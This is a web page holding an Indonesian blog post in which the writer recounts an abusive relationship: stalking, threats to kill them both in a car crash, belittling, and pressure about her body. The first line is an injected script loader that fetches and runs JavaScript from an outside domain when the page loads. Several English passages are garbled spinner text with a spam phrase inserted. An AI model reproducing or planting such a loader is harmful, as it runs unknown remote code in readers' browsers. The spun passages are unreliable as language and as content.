;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
-Setiap gue yang berusaha minta putus dan nyampein alasan gue baik-baik, dia juga akan ngamuk, terus mohon-mohon balikan, dan lagi-lagi stalking terus ngancem.
Setelah berkali-kali usaha tapi nggak gue bales, akhirnya dia ngegas mobilnya berkali-kali dan ngancem untuk nabrakin mobilnya ke mobil lain: “Kalo gitu kita mati bareng-bareng aja (= kalo aku nggak bisa milikin kamu, nggak ada orang lain yang bisa sama kamu juga -red).”
Jadi inget estimate-nya und auch Pike) pas nonton “We Proper care a great deal” semalem. Walaupun kalimat ini digunain di konteks yang beda dan karakternya dia bener-bener gue benci di situ, tapi kalimatnya cocok banget sama keadaan yang gue gambarin tadi.
“He generated dangers as risks are he’d kept. You cannot encourage a female to do what you would like, you then telephone call the woman an excellent bitch, and threathen so you can kill this lady.”
Tapi untung alam semesta masih sayang sama gue, akhirnya gue ngalamin apa yang Dinda alamin. Di satu malem ketika lagi ngobrol di mobil (ini setelah gue udah mengalami semua abuse, udah nyoba putus dan lain-lain tapi tetep masih dikekep), dia mengucapkan sesuatu yang menurut gue sangat condescending (merendahkan). Alus sih ngomongnya, seolah sok peduli gitu, tapi intinya adalah dia nggak nganggep gue itu setara dan sama berdayanya sama dia yang laki-laki untuk mencapai apapun yang kami mau. Bukannya gue kepedean ya. However, I know of the center I am a spin-getter. Gue nggak akan biarin perbedaan sex, sistem patriarki dan misogini, perbedaan usia, perbedaan kelas sosial menghalangi gue untuk ngejar hal-hal yang gue mau di hidup gue.
Orang yang udah selesai sama dirinya sendiri nggak akan takut “kebalap” sama partnernya, tapi justru berkembang bareng-bareng. Segala omongan gue soal cita-cita dan minat gue cuma didenger sambil lalu, jadi ya udah, mendingan gue jalan sendiri aja. Karena kalimat dia malem itulah, alhamdulillah gue langsung ilfil By ethnicity dating advice di tempat. And in case you never feel anything any longer, dealing with a devil is a lot easier. Orang-orang yang ngejalanin sistem anxiety-mongering dalam menjaga pasangannya supaya nggak lepas akan paling takut kalau kita udah cuek dan nggak peduli. Kalau minta putus dan ngomong langsung baik-baik berakhir digebukin, ya sudah, pake cara yang paling gampang aja: I simply disappeared. It ended during the a text message and i also kept. I gave no further area so you’re able to correspondence nor appointment deal with to help you face. We moved out of my set instantly. We blocked what you. I advised my bestfriends, family relations, acquaintances, and you will Hr institution so i got protection.
Salah satu yang paling destroying atau merusak dalam hubungan toxic gue dulu adalah obsesi dia untuk menjadikan bentuk gue secara fisik sesuai selera dia. Tadinya dengan alasan supaya sebagai orang Advertising (Publicity), gue sebaiknya nampak respectable. Fair sufficient, I was thinking the first time. Tapi gue mulai merasa ada yang aneh ketika seminggu setelah jadian, begitu gue ngajak makan malem, dia ngamuk-ngamuk. Katanya gue kok nggak ada niatan jaga badan, nggak kayak mantan-mantannya yang berlomba-lomba tampil makin kece bikin dia nyesel setelah mereka putus (WAW PEDE YA ANDA, padahal bisa jadi mereka self care buat diri sendiri). Padahal pas PDKT dia bilang paling suka liat gue makan (nggak sok-sok eating plan atau makan cimit-cimit atau jaim depan dia), katanya “hidup” banget dan apa adanya.
Dari sini gue mulai liat pola, ketika belum dapetin gue, dia akan bersikap seperti huntsman aja, menyesuaikan pembawaan diri dengan address yang dituju. Waktu akhirnya ngerasa udah ada teritori nih, udah (serasa) hak milik…